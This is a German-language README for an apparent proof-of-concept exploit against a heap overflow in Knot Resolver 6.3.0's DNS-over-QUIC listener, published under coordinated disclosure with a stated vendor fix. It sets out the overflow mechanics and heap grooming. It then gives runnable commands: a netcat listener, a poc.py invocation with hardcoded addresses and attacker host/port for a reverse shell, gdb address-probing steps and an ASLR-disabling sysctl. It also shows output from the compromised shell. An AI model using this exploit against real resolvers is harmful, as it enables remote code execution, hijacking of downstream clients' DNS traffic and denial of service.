venglin/knot-doqCVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC Heap-Überlauf (RCE)
Proof-of-Concept für einen remote auslösbaren Heap-Pufferüberlauf im DNS-over-QUIC-Empfangspfad (DoQ) von Knot Resolver, der eine Remote-Codeausführung als der Dienstbenutzer knot-resolver ermöglicht.
kresd DoQ-Listener (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver; mindestens Remote-Absturz / DoSVeröffentlicht zusammen mit dem Hersteller-Fix und Advisory im Rahmen koordinierter Offenlegung. Nur für autorisierte Sicherheitsforschung und defensive Validierung.
Vollständige Remote-Ausnutzung – der Exploit wird vom Angreifer-Rechner über DNS-over-QUIC abgefeuert, und eine knot-resolver-Reverse-Shell wird auf abgefangen (für das Video in voller Auflösung klicken):
nc
Knot Resolver ist ein quelloffener, cachender DNS-Rekursiv-Resolver, der von CZ.NIC (der .cz-Registrierung) entwickelt wird. Er löst DNS-Anfragen im Auftrag von Clients auf – Endgeräte, ISP-Resolver-Flotten und öffentliche Resolver-Dienste – und speichert die Antworten zwischen. Er unterstützt moderne verschlüsselte Transporte, darunter DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) und DNS-over-QUIC (DoQ), und bietet DNSSEC-Validierung und aggressives Caching.
Es ist in großen ISP-Umgebungen beliebt, wo sein umfangreicher Funktionsumfang (skriptbare Policy, DNSSEC, verschlüsselte Transporte, feingranulares Caching) und seine hohe Leistung es gut geeignet machen, sehr große Teilnehmerbasis zu bedienen.
Der Daemon (kresd) ist ein langlebiger Netzwerkdienst, der direkt unvertrauenswürdigen Eingaben von jedem Host ausgesetzt ist, der seinen Listening-Port erreichen kann. Dadurch wird ein Speicherkorruptionsfehler im Paketempfangspfad – wie der hier ausgenutzte – zu einer remote erreichbaren, unauthentisierten Angriffsfläche: Wird der Resolver kompromittiert, kann ein Angreifer DNS-Antworten für jeden nachgelagerten Client fälschen, also praktisch deren gesamten Datenverkehr umleiten oder abfangen.
kr_recv_stream_data_cb() setzt DoQ-STREAM-Frames zu einem verbindungsbezogenen Eingabepuffer (pers_inbuf) zusammen. Es vergrößert diesen Puffer mit
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
anstatt die Größe auf die neue Gesamtgröße zu setzen. Über mehrere Frames hinweg driftet die verfolgte size über die tatsächliche Allokation hinaus. Ein letzter Frame, dessen datalen unter die aufgeblähte size passt, überspringt daher die Reallokation, doch das anschließende memcpy() wird durch diese aufgeblähte Größe begrenzt – es schreibt also über das Ende des Objekts hinaus. jemalloc hält das Objekt in seiner tatsächlichen Größenklasse fixiert, sodass die überschüssigen Bytes im benachbarten Slab-Slot landen.
Eine Sequenz aus sechs Frames auf einem Stream führt pers_inbuf durch fünf jemalloc-Größenklassen in die 6144-Byte-Klasse und läuft dann in den benachbarten Slot über:
F1 datalen=8 initial 1200-byte allocation
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN no realloc -> 814-byte OOB write into slot+1
Leichtgewichtiges Verbindungs-Grooming (mehrere DoQ-Verbindungen öffnen, kurz vor dem Feuern die Hälfte freigeben) sorgt dafür, dass slot+1 einen libgnutls-Cleanup-Handler enthält. Der Überlauf überschreibt den Dispatch-Zeiger dieses Handlers, sein Argument und das Flag, das den Dispatch freigibt. Beim Verbindungsabbau führt libgnutls aus
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
was die Kontrolle über den Instruction Pointer (RIP) und das erste Argument (RDI) verleiht. Der PoC leitet dies an system() mit einem Zeiger auf eine vom Angreifer bereitgestellte Befehlszeichenkette, die in denselben Slot geschrieben wurde.
Dieser PoC zielt auf einen Host mit deaktiviertem ASLR (kernel.randomize_va_space = 0). Ohne Randomisierung sind die Heap- und libc-Adressen deterministisch, sodass die beiden Adressen, die der Exploit benötigt (slot+1 und system()), für einen gegebenen Build Konstanten sind. ASLR zu überwinden ist ein separates Problem und hier bewusst außerhalb des Rahmens – das Ziel ist es, die Speicherkorruption → Kontrollfluss → Codeausführung-Primitive isoliert zu demonstrieren.
Da diese Adressen deterministisch sind, ist kein Info-Leak erforderlich: Der Exploit läuft vollständig über das Netzwerk von einem Remote-Host. Die Adressen werden einmalig mit dem probe-Schritt (unten) auf einem beliebigen identischen Build ermittelt und dann fest verdrahtet; auf dem Referenz-Build sind sie slot+1 = 0x7ffff66c5000 und system = 0x7ffff746a490.
| File | Purpose |
|---|---|
poc.py | Der Exploit. Modi: probe, rip, exec. |
probe.gdb | gdb-Orakel, das das deterministische pers_inbuf liest. |
README.md | Dieses Dokument. |
Erfordert Python 3 mit aioquic und netcat auf der Angreiferseite sowie gdb auf dem Ziel nur für den einmaligen probe-Schritt.
Dies ist die Hauptdemonstration: Der Exploit wird von der Angreifer-Maschine über das Netzwerk abgefeuert, mit den beiden fest verdrahteten deterministischen Adressen. Es wird nichts vom Ziel gelesen – kein /proc, kein gdb, keine Logs.
# On the attacker box: listen for the shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
Jede Runde, die trifft, ruft system() auf dem Ziel mit einem Reverse-Shell-Befehl auf; die Shell verbindet sich zurück zu --lhost:--lport, wo nc sie empfängt. Wenn sie ankommt, gib in der netcat-Sitzung etwas ein, um die Shell zu bedienen:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
Die Werte --slot1 / --system werden einmalig mit dem probe-Schritt auf einem beliebigen identischen Build ermittelt; sie sind Konstanten, solange ASLR deaktiviert ist.
Die obigen Werte --slot1 / --system sind Konstanten, solange ASLR deaktiviert ist; ermittle sie einmalig auf einem beliebigen identischen Build. Voraussetzung:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
poc.py rip --rounds 8 demonstriert zusätzlich die direkte RIP/RDI-Kontrolle (das Ziel stürzt an dem vom Angreifer gewählten Instruction Pointer ab).
Gemessen auf dem Referenz-Build (Debian 12, 6.3.0-cznic.1, ASLR aus):
| Primitive | Rate |
|---|---|
RIP/RDI-Kontrolle (rip, Absturz) | ~7/8 pro Runde |
Vollständige system()-Ausführung (exec) | ~1 in 30–50 Runden |
Die Lücke ist inhärent: system() läuft auf einem Heap, den der Überlauf gerade korrumpiert hat, sodass die meisten Dispatches kresd zum Absturz bringen, bevor der Kindprozess erzeugt wird. Der Daemon wird nach jedem Absturz von seinem Supervisor neu gestartet, die Adresse ist bei deaktiviertem ASLR deterministisch, und jeder Versuch ist unabhängig – die exec-Schleife versucht es also einfach erneut, bis einer trifft (im obigen Remote-Lauf kam eine Shell in Runde 5 an). Ein fehlgeschlagener Versuch ist ein transienter Worker-Absturz (DoS). Die Grooming-Parameter --groom 16 --close 8 --qpc 4 sind die empirisch besten Standardwerte; stärkeres Schließen (z. B. --close 16 bei --groom 32) lässt die Trefferquote einbrechen.
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config DoQ listener on 127.0.0.1@8853
Die Größenklassen-Geometrie (sechs Frames, 1200/1440-Byte-Payloads) und der libgnutls-Dispatch-Offset sind spezifisch für diesen Build; für andere Builds müssen die Framegrößen und Offsets neu abgeleitet werden.
| Date | Event |
|---|---|
| 2026-06-08 | Schwachstelle an den Hersteller (CZ.NIC) gemeldet. |
| 2026-07-22 | Fix in Knot Resolver 6.4.1 veröffentlicht, mit Hersteller-Advisory. |
| 2026-07-23 | Dieser PoC und der Write-up veröffentlicht. |
Am 2026-06-08 an den Hersteller gemeldet und in Abstimmung mit dem offiziellen Fix (6.4.1, 2026-07-22) veröffentlicht. Bereitgestellt für autorisierte Tests, defensive Validierung und Forschung. Führe es nicht gegen Systeme aus, die dir nicht gehören oder für die du nicht ausdrücklich autorisiert bist, sie zu testen.
SPDX-License-Identifier: MIT